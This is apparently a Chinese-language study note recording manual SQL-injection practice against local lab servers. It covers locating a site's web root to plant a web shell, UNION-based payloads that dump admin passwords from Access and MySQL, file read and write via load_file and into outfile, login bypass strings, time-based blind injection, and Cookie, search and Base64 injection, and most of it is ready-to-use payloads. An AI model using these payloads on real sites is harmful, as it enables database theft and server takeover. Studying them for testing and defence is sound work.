第 N 次 SQL Injection 的尝试记录,没有什么高深的技术:)

准备工作

如何判断网站服务器操作系统

Windows大小写不敏感Linux区分大小写

伪静态与静态的区别

静态网页就是,比如知乎网站上放了一个 abc.html 文件,你想访问它就直接输入 zhihu. com/abc.html。Web 服务器看到这样的地址就直接找到这个文件输出给客户端。

动态网页就是,假如你想做一个显示当前时间的页面,那么就可以写个 PHP 文件,然后访问 zhihu.com/abc.php。Web 服务器看到这样的地址,找到 abc.php 这个文件,会交给 PHP 执行后返回给客户端。而动态网页往往要输入参数,所以地址就变成 zhihu. com/abc.php?a=1&b=2。

搜索引擎比较烦这种带问号的动态网页,因为参数可以随便加,而返回内容却不变,所以会对这种网页降权。

于是有了 mod_rewrite,它可以重新映射地址。比如当前这个页面的地址http://www.zhihu.com/question/20153311,Web服务器收到请求后会重新映射为www.zhihu.com/question.php?n=20153311,然后再执行那个PHP程序。(以上网址均为假设)这样,在内部不改变的情况下,对外呈现出来的网址变成了没有问号的象静态网页的网址一样。

于是有人给起了个名字叫“伪静态”。其实也没什么伪的,就是没有问号的静态网址,让搜索引擎舒服点而已。

那么如何判断是否为伪静态呢?

控制台输入:document.lastModified

假如和当前时间一样则为伪静态,如果比当前时间较早则为静态。

如何判断网站数据库

端口扫描和搭建分析

网站扫描探针数据库类型除内网服务器外,还会有哪些情况导致探针失败:站库分离、数据库端口被更改

常见数据库端口:mysql:3306, mssql:1433,oracle: 1521

获取网站根路径

获取到路径我们才能注入web shell

  1. 遗留文件获取

    网站根目录下留下的探针文件:php.phpphpinfo.phpphp_info.phptest.php等,字典爆破

    寻找phpinfo文件

  2. 报错显示:Debug 没关,比如直接?id=1'

  3. 漏洞暴路径:直接搜索网站平台漏洞 比如 dedecms

  4. 读取搭建平台配置文件:

    比如Apache搭建的,就可以读取Apache的配置文件httpd.conf

  5. 社工(字典、猜):D:/wwwrootD:/www

    善用搜索:site:xxx.com warning

SQL 注入

SQL注入思维导图

SQL 注入产生的原因:程序开发过程中不注意规范书写 sql 语句和对特殊字符进行过滤,导致客户端可以通过全局变量 POST 和 GET 提交一些 sql 语句正常执行。

攻击方法、攻击结果均由数据库类型决定

注入点基本原理: http://domian.com/page.php?param=1 and 1=1

因为and 1=1始终为真,所以会返回正常的网页

http://domian.com/page.php?param=1 and 1=2

因为and 1=2始终未假,所以会返回错误的网页

SQL 注入可以调用数据库哪些操作:文件读写,调用执行(cmd)。

SQL 产生的必要条件:

  1. 变量接受
  2. 带入数据库查询执行
  3. 不存在过滤(如果存在可以尝试过滤,例如关键字过滤

1. 针对 access 数据库注入

组合查询法:union

速度快,兼容性一般,该方法同样适用于 MySQL

  1. 先用order确定列的数目:http://10.211.55.17/Production/PRODUCT_DETAIL.asp?id=1513 order by 22,不报错

  2. http://10.211.55.17/Production/PRODUCT_DETAIL.asp?id=1513 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin

    在页面上暴露出字段

  3. http://10.211.55.17/Production/PRODUCT_DETAIL.asp?id=1513 UNION SELECT 1,2,password,4,5,6,7,8,9,10,11,12,13,14,admin,16,17,18,19,20,21,22 from admin

    在页面中猜列名,最后猜数据

逐字猜解法

注入工具采用的方法

  1. 查表:and exists(select * from 表名)

  2. 查列:and exists(select 列名 from 表名)

  3. 确定长度:确定长度,确定 asc 数据(ascii 编码)

    and (select top 1 len(列名) from admin) = 16  // 确定长度
    and (select top 1 asc(mid(列名,位数,1)) from admin) = 97 // 逐字求每个字符的ascii编码,此条语句表示该为ascii是否为97
    

    top子句用于规定要返回的记录的数目

    asc()函数用于获取ascii

    mid()函数用于截取字符串:

    mid函数

2. 针对 MySQL(> 5.0)是 SQLi

与 Access 注入区别:

  1. 结构不一样
  2. Access 属于暴力破解( 没法知道某些表),MySQL(> 5.0)属于有根据的猜解

如何有根据的手工注入

information_schema:存储 MySQL 下所有信息的数据库

informatiom.tables:存储所有数据库下表名信息的表

information.columns:存储所有数据库下列名信息的表

Tips: 第一步依然是order by n定列数,然后union select 1,2,...想办法暴露出数据,然后才继续下面步骤

  1. 获取所有数据库名
http://127.0.0.1/index.php?id=1+UNION+SELECT+1,group_concat(schema_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.schemata

获取数据库名

  1. 获取某数据库下所有表名信息
http://127.0.0.1/index.php?id=1 union select group_concat(table_name),2,3,... from information_schema.tables where table_schema=0x656b75636d73

// 上面代码省略号处要根据order by判定的列的数量来定
// table_schema:数据库名
// table_name:表名
// 注意最后数据库名必须用16进制编码
//  group_concat():将多个字符串连接成一个字符串

获取某数据库下所有表名

  1. 获取某个表下所有列名
http://127.0.0.1/index.php?id=1 union select group_concat(column_name),2,3,... from information_schema.columns where table_name=0x656b75726532775f75736572

// column_name:列名
// 表名依旧需要16进制编码

获取某个标下所有列名

  1. 相关参数

    system_user() 系统用户名 user() 用户名 current_user 当前用户名 session_user()连接数据库的用户名 database() 数据库名 version() MYSQL 数据库版本 load_file() MYSQL 读取本地文件的函数 @@datadir 读取数据库路径 @@basedir MYSQL 安装路径 @@version_compile_os 操作系统 Windows Server 2003

http://127.0.0.1/index.php
?id=1 and 1=2 union select 1,concat_ws(char(32,58,32),0x7c,user(),database(),version()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17

获取相关参数

测试不同数据库用户的操作权限

文件读写测试:load_file()into outfile '...'

首先必须拥有File_priv权限,我们用root权限来测试

输出root账户权限

先测试导出文件:

select * into outfile 'c:\\aaa.txt' fields terminated by ',' from ekucms.ekure2w_user;

测试导出文件

image-20181113133651088

再测试导入文件:

select load_file('c:\\aaa.txt');

测试导入文件

遇到问题:root 账户以及分配File_priv权限,为何仍然不能导入导出?

答:MySQL 版本问题

MySQL 新版本下secure-file-priv 字段:secure-file-priv 参数是用来限制 LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE()传到哪个指定目录的

  • ure_file_priv 的值为 null ,表示限制 mysqld 不允许导入|导出
  • 当 secure_file_priv 的值为/tmp/ ,表示限制 mysqld 的导入|导出只能发生在/tmp/目录下
  • 当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制

所以我们只需要在my.ini[mysqld]的末尾加入secure_file_priv="/"即可

注入点数据库用户权限由什么决定? 由连接数据库时的用户决定

MySQL 注入点进行文件读写操作

条件:root权限注入点,其他用户没有此权限(可以理解为只有后端用root用户连接数据库时,才有下面的注入点!

写入文件:

http://127.0.0.1/index.php
?id=-1 union select 1,'File abc.txt',3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 into outfile 'c:\\abc.txt'

// 此处的1~17均不可少,因为注入点的表单有17列

image-20181113140139195

读取文件:

http://127.0.0.1/index.php
?id=-1 union select 1,load_file('c:\\abc.txt'),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17

image-20181113140226756

注意:

  1. 路径问题: 尽量使用\\/,不要使用\
  2. 编码问题:避免数据中带有单引号导致的问题,可以采用16 进制编码(注意外面的引号不参加编码)
http://127.0.0.1/index.php
?id=-1 union select 1,0x2746696c65206162632e74787427,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 into outfile 'c:/axa.txt'

后台绕过

假设原始的 SQL 语句:

select * from user where username='' and password=''

我们只需要输入:admin'#

select * from user where username='admin'#' and password=''

// 直接注释了后面的语句,password校验不会执行

或者输入:admin' or '1'='1'#

select * from user where username='admin' or '1'='1'#' and password=''

// 前面部分'1'='1'===true,故or判断永远为true

MySQL 盲注攻击

  1. sleep延迟盲注:

    补充: sleep 可以让语句运行 N 秒钟,前提语句执行必须正确且有结果返回

    image-20181113153941801

    我们不用order,单纯用盲注来猜位数:

    如果位数猜错,是不会有延迟的效果

    image-20181113154118850

    只有位数猜对了,才会有延迟的效果并输出结果

    image-20181113154200818

下面我们再结合if

  1. sleep if

    mysqlif语法:if(条件, true, false)

    集合此语法我们可以也进行猜测:

    http://127.0.0.1/index.php
    ?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,sleep(if(mid(database(), 1, 1)='e', 3, 0))
    
    // mid函数用于得到字符串的一部分
    // 猜测有没有名字第一位为e的数据库,有的话sleep 3秒后再返回结果
    
    

    image-20181113155025856

3. 其他类型的注入

类型注入

遇到字符型的参数该怎么办?如果直接在后面添加注入点,会被自动并入引号内,并且不会执行:

http://127.0.0.1/str/index.php
?username=jerry order by 17

image-20181114204759275

所以我们分别将前面和后面的分号闭合:

http://127.0.0.1/str/index.php
?username=jerry' order by 17 and '1'='1

image-20181114204940097

搜索注入

注入原理同类型注入,不多说

http://127.0.0.1/search/index.php
?username=-1%'+UNION+ALL+SELECT+version(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 and '%'='

select * from admin where username='%-1%'+UNION+ALL+SELECT+version(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 and '%'='%'

POST 注入与 Cookie 注入

POST 注入就是将注入语句插入到到 POST 请求的 DATA 中

而 Cookie 注入则是将注入语句写入到数据包头部的 Cookie 字段中,使用抓包工具 Burp

例如:

GET /cookiesqlin/ProductShow.asp HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: BYMMXHDUWVMXNEGJSULA=QRFDDWZKIJSUVAQWIQUXLKTVYAHJFWHXBZEGIZGF; dmwh_user_ip=127.0.0.1;ID=62%20union%20select%201,2,username,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from admin
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1

在 cookie 注入的时候,空格必须用%20代替

Base64 注入

参数先进行base64编码,在后台通过base64解码后,带入数据库执行。

例如:

127.0.0.1/index.php?id=1 and 1=1

这样传是无效的,把参数值用base64编码:

127.0.0.1/index.php?id=MSBhbmQgMT0x

最后更新: 9/24/2019, 3:23:47 PM